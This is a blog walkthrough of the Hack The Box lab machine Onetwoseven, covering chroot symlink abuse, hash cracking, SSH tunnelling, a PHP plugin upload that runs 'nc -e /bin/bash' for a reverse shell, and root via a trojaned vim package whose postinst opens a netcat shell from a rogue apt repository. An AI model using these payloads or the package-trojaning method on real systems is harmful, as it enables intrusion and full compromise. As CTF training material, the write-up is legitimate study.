Learning as I go

Onetwoseven Hack The Box Walkthrough

Posted at — Sep 1, 2019

Walkthrough of machine Onetwoseven from Hack the Box. Key findings include gaps in a chroot configuration, insufficient hardening on the machine & superuser rights being granted to a user accessible system account.

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Walkthrough of Onetwoseven machine from Hack the Box.

Key Findings

Key findings noted from the machine Onetwoseven:

Scanning & Enumeration

Initial scan of the machine (command: nmap -p- -A -T4 -oA nmap/OneTwoSeven found three services of interest.

22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Page moved.
60080/tcp filtered unknown


Opening port 80 in a web browser shows what appears to be a web hosting site. Access to the site is provided by a HTTP redirect.

Onetwoseven Web Page 1

Items of interest found from enumerating the site:


Attempting to SSH to port 22 with supplied credentials fails (command: ssh ots-2MWE4NTQ@onetwoseven.htb). The response indicates only SFTP connections are accepted.

ots-2MWE4NTQ@onetwoseven.htb's password:
This service allows sftp connections only.
Connection to onetwoseven.htb closed.

SFTP with the supplied credentials (command: sftp ots-2MWE4NTQ@onetwoseven.htb) works as expected. Provided is a fairly typical directory layout with public_html directory for placing web content into.

ots-2MWE4NTQ@onetwoseven.htb's password:
Connected to ots-2MWE4NTQ@onetwoseven.htb.
sftp> ls -al
drwxr-xr-x    3 0        0            4096 Aug 31 11:44 .
drwxr-xr-x    3 0        0            4096 Aug 31 11:44 ..
drwxr-xr-x    2 1014     1014         4096 Feb 15  2019 public_html
sftp> cd public_html
sftp> ls -al
drwxr-xr-x    2 1014     1014         4096 Feb 15  2019 .
drwxr-xr-x    3 0        0            4096 Aug 31 11:44 ..
-rw-r--r--    1 1014     1014          349 Feb 15  2019 index.html

Items of interest from reviewing the SFTP service:

Viewing the file created via the passwd link (command: curl http://onetwoseven.htb/~ots-2MWE4NTQ/passwd) gives the below:


This shows that an individual user id is created per IP address. Of interest is username ots-yODc2NGQ as it is from the localhost IP.

Creating a new symlink (logged in via sftp – command: symlink /home/web/ots-yODc2NGQ localhost) allows viewing of this users directory. The user.txt file is there but cannot be read with current permissions.

Onetwoseven Web Page 2

Checking the www symlink in a web browser successfully drops into the base webroot directory. This provides two options – one being html (re-directs to normal website) and the other being html-admin (loads the below).

Onetwoseven Web Page 3

Of interest is the .login.php.swp file (this is a temporary file used by vim). Copy of the swap file downloaded and recovery done (file loaded in vi, recover command issued).

Reviewing the file indicates it is the login page of the html-admin site. From reviewing the file the following section is of interest. This indicates the admin username is ots-admin and a sha256 hash of the password is 11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8.

if ($_POST['username'] == 'ots-admin' && hash('sha256',$_POST['password']) == '11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8') {

Running the hash through https://hashkiller.co.uk/Cracker/SHA256 confirms the password as Homesweethome1.

11c5a42c9d74d5442ef3cc835bda1b3e7cc7f494e704a10d0de426b2fbe5cbd8 SHA-256 Homesweethome1

Initial leads have now been run-dry. SSH connectivity could not be established, next attempt is to setup a tunnel over the same port (command: ssh -fN -L 80: ots-2MWE4NTQ@onetwoseven.htb). Options chosen to only establish a tunnel and nothing else. Confirmation the page can then be browsed via localhost.

Onetwoseven Web Page 4

New credentials then obtained for ots-yODc2NGQ (password f528764d). Credentials can then be used to access user.txt (command: sftp ots-yODc2NGQ@onetwoseven.htb)

ots-yODc2NGQ@onetwoseven.htb's password:
Connected to ots-yODc2NGQ@onetwoseven.htb.
sftp> dir
public_html  user.txt     
sftp> get user.txt
Fetching /user.txt to user.txt
/user.txt                                                                                                                                                                   100%   33     0.1KB/s   00:00    
sftp> exit
root@kali2019:~/Documents/OneTwoSeven# cat user.txt

When browsing the site via localhost the admin link is now active. This suggests the admin page can be accessed for traffic originating from localhost.

New ssh tunnel setup (command: ssh -fN -L 60080: ots-2MWE4NTQ@onetwoseven.htb). Loading the URL into a web browser shows the login to the admin site, entering the credentials obtained earlier gives access.

The site gives the ability to view the source code of plugins amongst a number of other things.

Onetwoseven Web Page 5

Of interest in the analysis:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
case preg_match('/\/addon-upload.php/',$_SERVER['REQUEST_URI']):

Putting together what’s learnt:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /login.php"); }; if ( strpos($_SERVER['REQUEST_URI'], '/addons/') !== false ) { die(); };
# OneTwoSeven Admin Plugin
# OTS Bob
echo (shell_exec('nc -e /bin/bash 5551 &'));
*   Trying
* Connected to ( port 60080 (#0)
> POST /addon-download.php?addon=/addon-upload.php HTTP/1.1
> Host:
> User-Agent: curl/7.65.3
> Accept: */*
> Cookie: PHPSESSID=k9096hj3ehdkh22g257sk204v3
> Content-Length: 469
> Content-Type: multipart/form-data; boundary=------------------------722e377ebae9c686
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 Found
< Date: Sun, 01 Sep 2019 01:01:46 GMT
< Server: Apache/2.4.25 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /menu.php
< Content-Length: 27
< Content-Type: text/plain;charset=UTF-8
* Connection #0 to host left intact
File uploaded successfull.y

Refreshing the admin page shows the module OTS Bob loaded. Triggering it after starting a netcat listener (command: nc -lvp 5551) provides a reverse shell:

Onetwoseven First Shell

Of interest from basic enumeration is the user www-admin-data can run apt-get update and apt-get upgrade as root with no password. This option chosen to obtain root.

Target plan is to get root by upgrading a package to a malcious version. This would allow for code to be run during installation (guide https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan/ used as inspiration)

After reviewing a number of candidate’s vim chosen as the package to trojan. Reviewing list of installed packages shows 8.0.0197-4+deb9u1 is the currently installed version. Researching this online shows this is part of the stretch series.

Based on research vim 8.1.0875-5: amd64 chosen as the target package to trojan. Current deb file downloaded (using apt download vim)

New control file created is below. This is based on extracting the current package info (command: apt info vim) and removing the dependencies.

Package: vim
Version: 2:8.1.0875-5
Priority: optional
Architecture: amd64
Section: editors
Maintainer: Debian Vim Maintainers <team+vim@tracker.debian.org>
Installed-Size: 2,867 kB
Provides: editor
Suggests: ctags, vim-doc, vim-scripts
Homepage: https://www.vim.org/
Tag: devel::editor, implemented-in::c, interface::commandline,
 interface::text-mode, role::program, scope::application,
 uitoolkit::ncurses, use::editing, works-with::text, works-with::unicode
Download-Size: 1,280 kB
APT-Manual-Installed: no
APT-Sources: http://http.kali.org/kali kali-rolling/main amd64 Packages
Description: Vi IMproved - enhanced vi editor
 Vim is an almost compatible version of the UNIX editor Vi.
 Many new features have been added: multi level undo, syntax
 highlighting, command line history, on-line help, filename
 completion, block operations, folding, Unicode support, etc.
 This package contains a version of vim compiled with a rather
 standard set of features.  This package does not provide a GUI
 version of Vim.  See the other vim-* packages if you need more
 (or less).

New postinst file created is below:

nc -nv 5601 -e /bin/sh

Package was rebuilt (command: dpkg-deb –build) and transferred into repository structure

Analysing the apt configuration shows custom repository is setup for use on the machine. There is no matching gpg key loaded for this.

www-admin-data@onetwoseven:/etc/apt/sources.list.d$ cat onetwoseven.list
cat onetwoseven.list
# OneTwoSeven special packages - not yet in use
deb http://packages.onetwoseven.htb/devuan ascii main

Target repository setup using guide at https://help.ubuntu.com/community/CreateAuthenticatedRepository.

Steps taken on local machine:

Final layout of repository on load machine is:


On the target http_proxy set to attacking machine (command: export http_proxy=’‘) & apt get triggered.

www-admin-data@onetwoseven:/var/www/html-admin$ sudo apt-get update
sudo apt-get update
Get:1 http://packages.onetwoseven.htb/devuan ascii InRelease [2056 B]
Ign:1 http://packages.onetwoseven.htb/devuan ascii InRelease
Get:2 http://packages.onetwoseven.htb/devuan ascii/main amd64 Packages [921 B]
Ign:3 http://deb.devuan.org//merged ascii InRelease                 
Ign:4 http://deb.devuan.org//merged ascii-security InRelease                   
Ign:5 http://deb.devuan.org//merged ascii-updates InRelease                    
Err:6 http://deb.devuan.org//merged ascii Release                              
  Connection failed
Err:7 http://deb.devuan.org//merged ascii-security Release
  Connection failed
Err:8 http://deb.devuan.org//merged ascii-updates Release
  Connection failed
Reading package lists... Done
W: GPG error: http://packages.onetwoseven.htb/devuan ascii InRelease: The following signatures couldn't be verified because the public key is not available: NO_PUBKEY F01E7A97ED72226E
W: The repository 'http://packages.onetwoseven.htb/devuan ascii InRelease' is not signed.
N: Data from such a repository can't be authenticated and is therefore potentially dangerous to use.
N: See apt-secure(8) manpage for repository creation and user configuration details.
W: Conflicting distribution: http://packages.onetwoseven.htb/devuan ascii InRelease (expected ascii but got )
E: The repository 'http://de.deb.devuan.org/merged ascii Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: The repository 'http://de.deb.devuan.org/merged ascii-security Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
E: The repository 'http://de.deb.devuan.org/merged ascii-updates Release' does no longer have a Release file.
N: Updating from such a repository can't be done securely, and is therefore disabled by default.
N: See apt-secure(8) manpage for repository creation and user configuration details.
www-admin-data@onetwoseven:/var/www/html-admin$ sudo apt-get upgrade
sudo apt-get upgrade
Reading package lists... Done
Building dependency tree       
Reading state information... Done
Calculating upgrade... Done
The following package was automatically installed and is no longer required:
Use 'sudo apt autoremove' to remove it.
The following packages will be upgraded:
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 1281 kB of archives.
After this operation, 2429 kB disk space will be freed.
Do you want to continue? [Y/n] Y
WARNING: The following packages cannot be authenticated!
Install these packages without verification? [y/N] Y
Get:1 http://packages.onetwoseven.htb/devuan ascii/main amd64 vim amd64 2:8.1.0875-5 [1281 kB]
Fetched 1281 kB in 2s (453 kB/s)
Reading changelogs... Done
debconf: unable to initialize frontend: Dialog
debconf: (Dialog frontend will not work on a dumb terminal, an emacs shell buffer, or without a controlling terminal.)
debconf: falling back to frontend: Readline
(Reading database ... 33940 files and directories currently installed.)
Preparing to unpack .../vim_2%3a8.1.0875-5_amd64.deb ...
Unpacking vim (2:8.1.0875-5) over (2:8.0.0197-4+deb9u1) ...
Setting up vim (2:8.1.0875-5) ...

postinst script then triggered and hit netcat listener and generated root shell.

Onetwoseven Root Shell

Post Exploitation

Review of the shadow file shows one hash. Attempts at cracking it so far have proven unsuccessful.